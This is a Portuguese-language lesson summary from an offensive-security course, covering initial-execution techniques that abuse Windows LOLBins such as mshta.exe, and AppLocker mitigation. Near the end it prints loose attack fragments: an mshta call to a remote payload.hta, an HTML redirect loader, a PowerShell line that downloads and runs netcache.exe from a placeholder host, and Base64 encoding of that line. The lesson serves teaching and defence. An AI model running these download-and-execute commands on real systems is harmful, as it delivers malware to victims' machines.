Nesta aula, exploramos em profundidade o conceito de vetores de execução inicial em um contexto de testes de intrusão (pentest) e operações de Red Team. Essa etapa é fundamental em ataques direcionados, sendo o momento em que, após a entrega bem-sucedida (por exemplo, por phishing ou mídia USB), o atacante executa o código malicioso no sistema da vítima. O objetivo desse passo é tomar controle do sistema, coletar informações ou baixar cargas úteis adicionais. Entre as diversas técnicas de execução inicial, uma das mais perigosas e frequentemente exploradas envolve os chamados LOLBins (Living off the Land Binaries). Esses são binários legítimos do próprio sistema operacional — como o Windows — assinados pela Microsoft e já presentes em praticamente todas as máquinas. Por isso, não levantam suspeitas imediatas por antivírus ou soluções de segurança.
Um dos LOLBins mais utilizados é o MSHTA (Microsoft HTML Application Host). Trata-se de um executável nativo do Windows responsável por interpretar e executar arquivos .hta
— que são basicamente páginas HTML com a capacidade de rodar scripts (JavaScript ou VBScript), mas fora do navegador, ou seja, sem qualquer sandboxing ou restrição típica de segurança.
Isso torna o .hta
uma superfície de ataque extremamente útil para execução de comandos diretamente no sistema. Durante a aula, demonstrei um cenário prático onde o MSHTA é usado como vetor de ataque: um phishing que induz a vítima a clicar em um link malicioso que aponta para um arquivo .hta
hospedado remotamente (mshta.exe http://daniel.site/payload.hta
). Ao ser executado, esse arquivo pode disparar comandos como o cmd.exe
, iniciar scripts para baixar malwares como o WinLogSync, ou até criar persistência no sistema, garantindo que o código malicioso continue ativo mesmo após reinicializações.
Também comentei sobre outros LOLBins como:
WScript / CScript – para execução de scripts VBScript e JScript;
PowerShell – extremamente poderoso para execução remota, download de payloads e movimentação lateral;
Regsvr32 – capaz de registrar DLLs e até carregar arquivos remotamente;
ForFiles – que pode executar comandos com base em arquivos e agendamento.
Além da demonstração prática, apresentamos formas de mitigação e defesa. Uma delas é o uso de GPO (Group Policy Object) com o AppLocker, onde é possível criar regras de bloqueio por caminho, impedindo a execução de binários como mshta.exe
, especialmente em versões Pro e Enterprise do Windows.
<html> <head> <meta http-equiv="refresh" content="0; url=/load.hta"> </head> <body></body> </html> |
iwr http://x.x.x.x.com/netcache.exe -OutFile "$env:TEMP\netcache.exe"; Start-Process "$env:TEMP\netcache.exe" |
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('iwr http://x.x.x.x.com/netcache.exe -OutFile "$env:TEMP\netcache.exe"; Start-Process "$env:TEMP\netcache.exe"')) |
<html> CreateObject("WScript.Shell").Run p, 0, False |
Todo o conteúdo apresentado nesta aula tem finalidade exclusivamente educacional. O ambiente foi criado em um laboratório isolado e seguro, sem afetar redes, sistemas ou terceiros. A prática de técnicas ofensivas sem autorização explícita é ilegal e antiética.
Este curso tem como objetivo capacitar profissionais a entender e defender sistemas reais, reconhecendo táticas de adversários e desenvolvendo a capacidade de mitigar ameaças avançadas. A ética deve ser sempre o pilar central da atuação em segurança da informação.